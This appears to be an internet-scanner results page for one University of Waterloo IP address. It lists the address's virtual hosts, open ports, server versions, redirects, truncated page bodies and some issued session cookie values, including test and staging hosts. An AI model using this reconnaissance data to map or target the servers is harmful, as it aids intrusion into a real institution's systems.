<title>Multicore Lab - University of Waterloo</title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<link href="/style/css/templatemo_style.css" rel="stylesheet" type="text/css" />
<link href="/style/css/jquery.ennui.contentslider.css" rel="stylesheet" type="text/css" media="screen,projection" />
<script type="text/javascript" src="/style/js/jquery-1.3.1.min.js"></script>
<script type="text/javascript" src="/style/js/jquery.easing.1.3.js"></script>
<script type="text/javascript" src="/style/js/jquery.ennui.contentslider.js"></script>
<script type="text/javascript">
$(function () {
$('#one').ContentSlider({
width: '430px',
height: '200px',
speed: 600,
easing: 'easeInOutQuart'
});
});
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-144198902-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag() {
dataLayer.push(arguments);
}
gtag('js', new Date());
gtag('config', 'UA-144198902-1');
</script>
<!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$('iframe').load(function() {
this.style.height = this.contentWindow.document.body.offsetHeight + 'px';
alert('hi');
});
</script> -->
<!--
<script>
$(document).ready(function(){
$('#testcontent').html('testing!');//.load("assets/facilities/sysinfo_jax/lscpu.txt"); //https://cs.uwaterloo.ca/~t35brown/rift/preview/www_server_status/date_of_status.txt");
});
</script> -->
</head>
<body>
<div id="templatemo_menu_wrapper">
<div id="templatemo_menu">
<ul>
<li><a href="/index.html">Home</a></li>
<li><a href="/news.html">News</a></li>
<li><a href="/people.html">People</a></li>
<li><a href="/facilities.html">Facilities</a></li>
<li><a href="/papers.html">Papers</a></li>
<li><a href="/code.html">Code</a></li>
<li><a href="https://gitlab.com/trbot86/multicore_lab_wiki/wikis/" target="_blank">Wiki <img src="/images/icons/arrow_new_window.png" height="10" /></a></li>
</ul>
</div>
</div>
<div id="templatemo_header_wrapper">
<div id="templatemo_header">
<div id="site_title">
<h1>
<a href="/"><img src="/images/logo2.png" alt="logo" /></a>
</h1>
</div>
<div id="templatemo_slider">
<div id="one" class="contentslider">
<div class="cs_wrapper">
<div class="cs_slider">
<div class="cs_article">
<a href="/code.html#setbench">
<img src="/assets/projects/setbench/slider.png" /></a>
</div>
<div class="cs_article">
<a href="/assets/lectures/sptdc2019">
<img src="/assets/lectures/sptdc2019/slider.png" /></a>
</div>
</div>
</div>
</div>
<div class="cleaner"></div>
</div>
</div>
</div>
<script type="text/javascript">
$(document).ready(function () {
// jquery hack to add class="current" to the correct menu item based on page filename!
Open service 129.97.167.168:80 · charisma2010.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://charisma2010.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · mc.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://mc.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · cswiki.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cswiki.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · exii.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate vary: Accept-Encoding content-length: 487 content-type: text/html;charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: Index of / <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /</title> </head> <body> <h1>Index of /</h1> <table> <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr> </table> <address>Apache/2.4.58 (Ubuntu) Server at exii.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · andromeda-proxy.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 303 See Other date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://andromeda-proxy.cs.uwaterloo.ca/mellon/login?ReturnTo=https%3A%2F%2Fandromeda%2Dproxy.cs.uwaterloo.ca%2F&IdP=http%3A%2F%2Fadfs.uwaterloo.ca%2Fadfs%2Fservices%2Ftrust content-length: 482 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: 303 See Other <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>303 See Other</title> </head><body> <h1>See Other</h1> <p>The answer to your request is located <a href="https://andromeda-proxy.cs.uwaterloo.ca/mellon/login?ReturnTo=https%3A%2F%2Fandromeda%2Dproxy.cs.uwaterloo.ca%2F&IdP=http%3A%2F%2Fadfs.uwaterloo.ca%2Fadfs%2Fservices%2Ftrust">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at andromeda-proxy.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · grec.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://grec.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · rgw.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://rgw.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · hi.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://hi.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · nextcloud.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://nextcloud.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · cgl.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Wed, 20 Nov 2024 02:51:22 GMT
etag: "2f9c-6274f39983af5"
accept-ranges: bytes
content-length: 12188
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: Waterloo Computer Graphics Lab
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Waterloo Computer Graphics Lab</title>
<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="css/clean-blog.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href='http://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800' rel='stylesheet' type='text/css'>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<!-- Navigation -->
<div class = "container">
<header class="intro-header" style="background-image: url('img/davis_exterior_trim2.jpg')">
<nav class="navbar navbar-inverse navbar-custom">
<div class="container-fluid">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header page-scroll">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">CGL Home</a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav navbar-right">
<li>
<a href="people.html">People</a>
</li>
<li>
<a href="publications.html">Publications</a>
</li>
<li>
<a href="courses.html">Courses</a>
</li>
<li>
<a href="software.html">Software</a>
</li>
<li>
<a href="posters.html">Posters</a>
</li>
<li>
<a href="http://www.cgl.uwaterloo.ca/Private/index.html">For Lab Members</a>
</li>
</ul>
</div>
<!-- /.navbar-collapse -->
</div>
<!-- /.container -->
</nav>
<!-- Page Header -->
<!-- Set your background image for this header on the line below. -->
<div class="row">
<div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
<div class="site-heading">
<h1>Waterloo Computer Graphics Lab</h1>
<!--<hr class="small">
<h1>University of Waterloo</h1>
<!--<span class="subheading">University of Waterloo</span>-->
</div>
</div>
</div>
</header>
Open service 129.97.167.168:443 · grec.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://cs.uwaterloo.ca/current-undergraduate-students/research-opportunities/undergraduate-research-fellowship-urf content-length: 410 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/current-undergraduate-students/research-opportunities/undergraduate-research-fellowship-urf">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at grec.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · wwwtest.student.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://wwwtest.student.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · vision.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate last-modified: Thu, 06 Dec 2018 14:52:09 GMT etag: "6e-57c5ba4a6e47e" accept-ranges: bytes content-length: 110 vary: Accept-Encoding content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Welcome to vision.cs.uwaterloo.ca <ul> <li> <a href="code/">Code</a> <li> <a href="data/">Datasets</a> </ul>
Open service 129.97.167.168:443 · wwwtest.student.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.52 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://cs.uwaterloo.ca/cscf content-length: 334 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: wwwtest.student.cs.uwaterloo.ca_haproxy_cookie=wwwtest.student.cs.uwaterloo.ca1; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/cscf">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at wwwtest.student.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · wwwtest3.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://wwwtest3.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · staging-crysp.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://staging-crysp.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · rebels.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://rebels.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · vision.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://vision.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · hi.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/health-informatics/ content-length: 330 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/health-informatics/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at hi.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · cpi.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cpi.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · haproxy-2404.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://haproxy-2404.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · crysp.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
content-location: index.shtml
vary: negotiate,Accept-Encoding
tcn: choice
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
onion-location: http://uwcryspionvholmkfxoqt2xns5mvnct34ytacugxtqpqrnka2oqm6kqd.onion/index.shtml
content-length: 50156
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: Cryptography, Security, and Privacy (CrySP) | University of Waterloo
<!DOCTYPE html>
<html dir="ltr" lang="en" prefix="og: http://ogp.me/ns# article: http://ogp.me/ns/article# book: http://ogp.me/ns/book# profile: http://ogp.me/ns/profile# video: http://ogp.me/ns/video# product: http://ogp.me/ns/product# content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ rdfs: http://www.w3.org/2000/01/rdf-schema# sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# schema: http://schema.org/ v: http://www.w3.org/2006/vcard/ns#">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<script type="text/x-mathjax-config">MathJax.Hub.Config({ extensions: ['tex2jax.js'], jax: ['input/TeX'], MMLorHTML: { prefer: { Firefox: "MML" }}, tex2jax: { displayMath: [ ['\\[','\\]'] ], inlineMath: [ ['\\(','\\)'] ], processEscapes: true, processClass: 'page', ignoreClass: 'html' }, showProcessingMessages: false, messageStyle: 'none' });
</script>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<meta content="IE=edge" http-equiv="X-UA-Compatible"/>
<link href="/templates/images/twitterlogo.png" rel="image_src"/>
<link href="/favicon.ico?v=2" rel="shortcut icon" type="image/vnd.microsoft.icon"/>
<title>Cryptography, Security, and Privacy (CrySP) | University of Waterloo</title>
<meta content="#000000" name="msapplication-navbutton-color"/>
<meta content="#000000" name="msapplication-TileColor"/>
<link href="/templates/css/css_pGY7bbiSKCP_0G6lsHqwRDW-H7rDmYXC3gMgXQqmF2k.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_StRKruvHowrLiniFcHDx63Z5eig5qIEUDpdIeeJlLBc.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_Ukxnm85hApnnC4ns9usvK35rzKUBgHx9JewlJsmWrkk.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_l98GyvcJCxL31fzcLxxvHTgLqzWcV-1DKv50zcCb7y0.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_sYrFn9bx_LwdljN2XzKQkz8T3IkWrZhekJT1PgTZhVA.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_E9Jx7KnM-yqRxjhPa8EV5J8WR_ykPxCCDdg2xV3lpFg.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_7o6VCO_OUfmZvLFDyRocbIA7eGi0wI7EPyNDU1AGjeU.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_PWNT08KKUtFCovDiVfueJMA0VD0iVsB9RtxlzxZ2aYw.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_RvRgCkads_HB_FrGnLbr10XHCqFadBbwdN5MW4pcdVI.css" media="print" rel="stylesheet" type="text/css"/>
<link href="/templates/css/crysp_custom.css" media="all" rel="stylesheet" type="text/css"/>
<script src="/templates/js/js_x0MhBQfHNAIO1NwkQgzf_TGN4b8eMmKre3nqUfoQv3w.js" type="text/javascript"></script>
<script src="/templates/js/js_0Mzz7ykE2iyxMlpKO5FuKiO3GIfEcOW7SHP1gdqwjWQ.js" type="text/javascript"></script>
<script src="/templates/js/js_kPGwSQxri6lkKZIKFDXb1mubUdPj2b705I6Zrz7a-Jg.js" type="text/javascript"></script>
<script src="/templates/js/js_pt1OdRwR7ILcmHWAtPLtoiSkWrsN5ZWmylqFwg_mrZs.js" type="text/javascript"></script>
<script src="/templates/js/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
<script src="/templates/js/js_7l39CHTd7CHu66YbjCNUE2Bho6QogcWLv6K2jG4q9wI.js" type="text/javascript"></script>
<script src="/templates/js/js_RceNLLT2pJ3mE7Nilzvl40lYy8pm7kNJN9R6zvApeQA.js" type="text/javascript"></script>
<script type="text/javascript">
<!--//--><![CDATA[//><!--
jQuery.extend(Drupal.settings, {
"basePath": "\/computer-science\/",
"pathPrefix": "",
"ajaxPageState": {
"theme": "uw_fdsu_theme_resp",
"theme_token": "4cJLxOh1VOYOHPplyyGYjoSKYrdAHhaoJg-K5jmD0Ik",
"jquery_version": "1.8",
"js": {
"profiles\/uw
Open service 129.97.167.168:443 · wasl.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:40 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate link: <https://wasl.uwaterloo.ca/wp-json/>; rel="https://api.w.org/", <https://wasl.uwaterloo.ca/wp-json/wp/v2/pages/49>; rel="alternate"; title="JSON"; type="application/json", <https://wasl.uwaterloo.ca/>; rel=shortlink x-frame-options: SAMEORIGIN vary: Accept-Encoding transfer-encoding: chunked content-type: text/html; charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close
Open service 129.97.167.168:443 · cswiki.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) location: https://cs.uwaterloo.ca/twiki content-length: 323 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/twiki">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at cswiki.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:40 GMT server: nginx cache-control: private, max-age=0, must-revalidate cache-control: max-age=21600, public content-language: en content-type: text/html;charset=utf-8 etag: W/"1769100074" expires: Sun, 19 Nov 1978 05:00:00 GMT last-modified: Thu, 22 Jan 2026 16:41:14 GMT x-content-type-options: nosniff x-drupal-cache: MISS x-drupal-dynamic-cache: MISS x-frame-options: SAMEORIGIN x-generator: Drupal 9 (https://www.drupal.org) x-pantheon-styx-hostname: styx-fe1fe2-g-d4b8475f9-6k6ks x-styx-req-id: 2a8ffbe8-f7b1-11f0-b715-6aea43dd8061 x-ua-compatible: IE=edge age: 7286 accept-ranges: bytes via: 1.1 varnish, 1.1 varnish x-served-by: cache-yyz4566-YYZ, cache-yyz4579-YYZ x-cache: HIT, MISS x-cache-hits: 168, 0 x-timer: S1769107360.446505,VS0,VE7 vary: Accept-Encoding,adv-cdn-origin,Cookie content-security-policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data: x-var-slug: /computer-science var-masked-host: uwat-computer-science.uwaterloo.ca transfer-encoding: chunked strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close
Open service 129.97.167.168:443 · nextcloud.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 302 Found date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-permitted-cross-domain-policies: none x-robots-tag: noindex, nofollow referrer-policy: no-referrer set-cookie: vault-2404-1=p7kspfl7mea69ena8ce0q6eamo; path=/; secure; HttpOnly; SameSite=Lax set-cookie: oc_sessionPassphrase=lYYeRwNSvv9utnqwiRQQlZ1p7t0GFyT1Vt20Ge4LZYtinHvVkUTFr8Km4N0SuZKjpuFXfC3tteBSoikipRBENHlcRWoFsjIprnD63FvUqIRNcPySrVWu3nl5ezvjQ7NQ; path=/; secure; HttpOnly; SameSite=Lax set-cookie: vault-2404-1=p7kspfl7mea69ena8ce0q6eamo; path=/; secure; HttpOnly; SameSite=Lax content-security-policy: default-src 'self'; script-src 'self' 'nonce-9x1MCwIQBJlgXieorYqWTSpB7q8utvgww5H6rzZDF+8='; style-src 'self' 'unsafe-inline'; frame-src *; img-src * data: blob:; font-src 'self' data:; media-src *; connect-src *; object-src 'none'; base-uri 'self'; set-cookie: __Host-nc_sameSiteCookielax=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=lax set-cookie: __Host-nc_sameSiteCookiestrict=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=strict set-cookie: vault-2404-1=p7kspfl7mea69ena8ce0q6eamo; path=/; secure; HttpOnly; SameSite=Lax location: https://nextcloud.cs.uwaterloo.ca/login content-length: 0 content-type: text/html; charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: nextcloud.cs.uwaterloo.ca_haproxy_cookie=nextcloud.cs.uwaterloo.ca3; path=/ connection: close
Open service 129.97.167.168:80 · www.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · cpi.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/cybersecurity-privacy-institute/ content-length: 344 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/cybersecurity-privacy-institute/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at cpi.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · rebels.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Tue, 02 Dec 2025 21:05:24 GMT
etag: "13ae-644fe745a16c3"
accept-ranges: bytes
content-length: 5038
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: Software REBELs
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Software REBELs</title>
<!-- Bootstrap Core CSS -->
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
<link href="/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href=/css/one-page-wonder.css rel="stylesheet">
<link href="/css/custom.css" rel="stylesheet">
<link rel="icon" type="image/png" href="/logo/rebels.png">
</head>
<body>
<!-- Navigation -->
<nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#rebelsNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a href="/"><img src="/logo/rebels_flat.png" height=50px></img></a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse navbarlink" id="rebelsNavbar">
<ul class="nav navbar-nav">
<li><a href="/members.html">Members</a></li>
<li><a href="/publications.html">Publications</a></li>
</ul>
</div>
<!-- /.navbar-collapse -->
</div>
<!-- /.container -->
</nav>
<!-- Page Content -->
<div class="container">
<hr class="featurette-divider">
<!-- First Featurette -->
<div class="featurette" id="about">
<img class="featurette-image img-circle img-responsive pull-right" src="/logo/rebels.png" width=400px height=400px>
<h2 class="featurette-heading">The Software REBELs</h2>
<p class="lead textblock"><b>(a.k.a., the Software Repository Excavation and Build Engineering Labs)</b> develop tool and decision support for modern software development and release teams. Specifically, we support software development teams by excavating software repositories to provide decision support today based on past tendencies. Moreover, we support release engineering teams by extracting and analyzing data from (and about) software build systems.</p>
<p class="lead textblock">More information about the recent research of the group is available in on the <a href="/publications.html">publications</a> page.
</div>
<hr class="featurette-divider">
<!-- Second Featurette -->
<div class="featurette" id="about">
<img class="featurette-image img-responsive pull-left" src="/logo/uw.png" width=450px border=2px>
<h2 class="featurette-heading2">Located at the University of Waterloo</h2>
